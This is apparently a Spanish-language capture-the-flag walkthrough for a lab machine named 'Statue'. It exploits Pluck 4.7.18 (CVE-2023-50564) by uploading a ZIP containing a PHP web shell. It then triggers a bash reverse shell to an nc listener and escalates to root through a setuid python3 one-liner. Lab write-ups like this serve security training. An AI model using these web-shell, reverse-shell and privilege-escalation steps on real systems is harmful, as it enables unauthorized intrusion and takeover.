Statue


🎯 Resolución

🔍 Reconocimiento

Comenzamos realizando un escaneo con Nmap para identificar los puertos abiertos y los servicios disponibles en el objetivo

nmap -sC -sV -Pn 192.168.1.126


🕵️‍♂️ Análisis de vulnerabilidades

Identificamos que el servidor utiliza Pluck 4.7.18, con una vulnerabilidad conocida (CVE-2023-50564).
⚠️ Esta vulnerabilidad requiere estar autenticado para explotarla. No podemos hacer fuerza bruta porque hay intentos bloqueados.

Realizamos un escaneo de directorios para buscar documentos o info relevante:
Pasted image 20250102180353.png
Pasted image 20250102180523.png
Realizamos un escaneo de directorios para buscar documentos o información relevante que pueda ayudarnos en nuestra investigación:

gobuster dir \
  -u http://statue.thl \
  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
  -x md,php,txt



🎯 Explotación

El contenido del archivo parece estar codificado en Base64. Lo decodificamos:

base64 -d README.md > decoded_text.txt

Pasted image 20250102181915.png
Para decodificar múltiples niveles de Base64, usamos CyberChef con la opción "Wrap in loop" y configuramos 16 iteraciones. 🔄

La contraseña para el login es fideicomiso. Con esta, accedemos al login y aprovechamos la vulnerabilidad para subir un archivo ZIP con código PHP malicioso.
Pasted image 20250102183110.png
La contraseña para el login es fideicomiso. Una vez que accedemos al login con esta contraseña, aprovechamos el exploit que habíamos identificado anteriormente para obtener acceso o realizar la escalada de privilegios necesaria en el sistema.

La vulnerabilidad permite subir un archivo ZIP que contiene un archivo PHP malicioso en el apartado modules de la aplicación web. Aquí está el proceso resumido:
La vulnerabilidad consiste en subir un zip que tiene un php malicioso en el apartado modules
Creamos un archivo PHP que permita ejecutar comandos desde el navegador web. El contenido del archivo es el siguiente
Pasted image 20250103163754.png
Lo metemos en un zip con el comando

zip malicious.zip malicious.php



http://statue.thl/data/modules/<tu zip>

Ejecutamos comandos como whoami con la URL:

http://statue.thl/data/modules/hola/comando.php?cmd=whoami

El sistema ejecuta el comando proporcionado, lo que nos permite aprovecharlo para obtener un reverse shell. Para ello, accedemos a la página Revshells.com, donde indicamos nuestra IP de atacante y el puerto que queremos utilizar. A continuación, seleccionamos la opción URL encode. La URL generada se utiliza de la siguiente forma:

?cmd=bash -c '<El URL encodeado>'

Una vez configurado, en la máquina atacante, abrimos el puerto previamente seleccionado en Revshells con el siguiente comando y recargamos la página.

nc -lvnp 6969

De esta manera, establecemos una conexión de reverse shell y obtenemos acceso a la máquina objetivo.
Pasted image 20250103170731.png
Para mejorar la experiencia y obtener una terminal más funcional, ejecutamos los siguientes comandos

script /dev/null -c bash
# Suspender la shell actual:
ctrl+z
# Restauramos la conexión:
stty raw -echo; fg
# Reiniciamos la terminal y configuramos la compatibilidad con xterm:
reset xterm
export TERM=xterm
export SHELL=bash

Si intentamos usar editores como nano, vi o cat, la terminal puede mostrar limitaciones en el tamaño de la pantalla. Para solucionar esto, ajustamos el tamaño de la terminal con los siguientes comandos:

# Abrimos una nueva terminal en el host o máquina atacante y ejecutamos:
stty size
# Ajustamos las filas y columnas de la terminal para que se vean correctamente:
stty rows 52 columns 115

Con estos ajustes, tenemos una terminal más funcional y cómoda, lo que nos prepara para continuar con la escalada de privilegios.


📈 Escalada de privilegios

Navegando por los directorios el directorio /var/www/Charles-Wheatstone parece interesante y dentro hay un pass.txt
Pasted image 20250103172030.png
La clave parece estar codificada en Base64. Para decodificarla correctamente, utilizamos CyberChef y aplicamos 6 decodificaciones consecutivas de Base64. El resultado final revela que la clave es guardar.
Pasted image 20250104090841.png
El nombre de la carpeta es Charles Wheatstone, por lo que investigamos quién es. Descubrimos que Charles inventó la técnica de codificación Playfair, que utiliza una clave para decodificar mensajes. Supusimos que la clave sería guardar, encontrada anteriormente.

Utilizamos una herramienta en línea para decodificar Playfair. Ingresamos el texto cifrado KIBPKSAFMTOIQL junto con la clave guardar. El resultado de la decodificación nos revela que la contraseña es INCOMPRENSIBLE.
Pasted image 20250104091801.png
Hay dos usuarios charles y juan asi que será la contraseña juan. Cambiamos al usuario juan con el y ponemos la contraseña INCROMPRENSIBLE. No se porque pero hay que poner en minúscula

su charles

Pasted image 20250104092331.png
Ya hemos iniciado sesión como el usuario charles.

Dentro de su directorio, encontramos un archivo llamado binario, el cual parece contener un mensaje oculto.
Pasted image 20250104092814.png
Para analizar el archivo binario correctamente, abrimos un servidor web en la máquina víctima utilizando el siguiente comando:

python3 -m http.server 8080

En la máquina atacante, descargamos el archivo binario con el siguiente comando:

wget http://192.168.1.126:8080/binario 

Para analizar el contenido del binario, utilizamos la herramienta strings para extraer las cadenas de texto:

strings binario 

Pasted image 20250104094349.png
Al analizar las cadenas, encontramos el nombre de un usuario y la palabra generador. Probamos a usar este generador como contraseña y logramos iniciar sesión como el usuario juan. El siguiente paso sería escalar nuestros privilegios a root.

Ejecutamos el siguiente comando para buscar archivos con el bit de setuid (permiso de ejecución como propietario)

find / -perm -4000 -type f 2> /dev/null

Esto nos llama la atención sobre python 3.12. Consultamos la página de GTFOBins, para encontrar una manera de usar Python para obtener privilegios de administrador:

python3 -c 'import os; os.execl("/bin/bash", "sh", "-p")'
 


Con esto, hemos escalado a root y tenemos acceso completo al sistema.

¡Ya somos root!

Pasted image 20250104102649.png